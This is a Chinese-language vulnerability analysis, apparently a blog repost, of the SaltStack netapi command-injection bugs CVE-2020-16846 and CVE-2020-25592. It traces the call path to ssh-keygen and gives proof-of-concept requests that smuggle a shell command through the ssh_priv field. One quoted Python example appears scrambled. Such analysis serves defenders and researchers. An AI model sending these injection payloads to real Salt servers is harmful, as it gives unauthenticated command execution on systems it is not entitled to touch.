作者:jambolt 编辑:白帽子社区运营团队
"白帽子社区在线CTF靶场BMZCTF,欢迎各位在这里练习、学习,BMZCTF全身心为网络安全赛手提供优质学习环境,链接(http://www.bmzclub.cn/)
"
• 3002
• 3001.1, 3001.2
• 3000.3, 3000.4
• 2019.2.5, 2019.2.6
• 2018.3.5
• 2017.7.4, 2017.7.8
• 2016.11.3, 2016.11.6,2016.11.10
• 2016.3.4, 2016.3.6,2016.3.8
• 2015.8.10, 2015.8.13
POST /run
token=111&client=ssh&tgt=anything&fun=anything&ssh_priv=aaa|touch /tmp/success%3b
step 1
传参示例
Provide a uniform method of accessing the various client interfaces in Salt
in the form of low-data data structures. For example:
_) client = NetapiClient(__opts_
'client': 'local', 'tgt': '*', 'fun': 'test.ping', 'arg': ''} lowstate = {
client.run(lowstate)
逻辑判定1 client
类中的非run和_开头函数,可调用列表
传递的参数low[client]必须为下列中的一个
local_async
local
local_subset
local_batch
ssh
runner
runner_async
wheel
wheel_async
逻辑判定2 token
参数列表中必须有token(POC测试中发现必须为数字型)
逻辑判定3 raw_shell,netapi_allow_raw_shell
如果获取参数 raw_shell 必须要有 netapi_allow_raw_shell 参数
lowstate = {'raw_shell': '*', 'netapi_allow_raw_shell': '*', ....}
之后根据client 参数进行 函数调用,此处client为ssh
step 2
salt/netapi/init.py run() -> salt/netapi/init.py ssh()
根据salt/netapi/init.py 初始化获得的参数 初始化 salt.client.ssh.client.SSHClient 类
step 3
salt/netapi/init.py ssh() -> salt/client/ssh/client.py cmd_sync()
传递获取的low字典中的参数
step 4
salt/client/ssh/client.py cmd_sync() -> salt/client/ssh/client.py cmd()
必须有的参数是 tgt fun才能完成 _prep_ssh调用
step 5
salt/client/ssh/client.py cmd() -> salt/client/ssh/client.py _prep_ssh()
参数处理后传递初始化 salt.client.ssh.SSH类
step 6
salt/client/ssh/init.py SSH类 初始化
ssh_priv 参数获取后且无此文件 则 try salt.client.ssh.shell.gen_key()
step 7
salt/client/ssh/shell.py gen_key() 命令执行点
命令注入点 通过ssh_priv 完成命令注入
ssh-keygen -P "" -f {ssh_priv} -t rsa -q
POC变种
内联执行 `touch /tmp/success`
本文始发于微信公众号(白帽子社区):CVE-2020-16846 CVE-2020-25592 分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论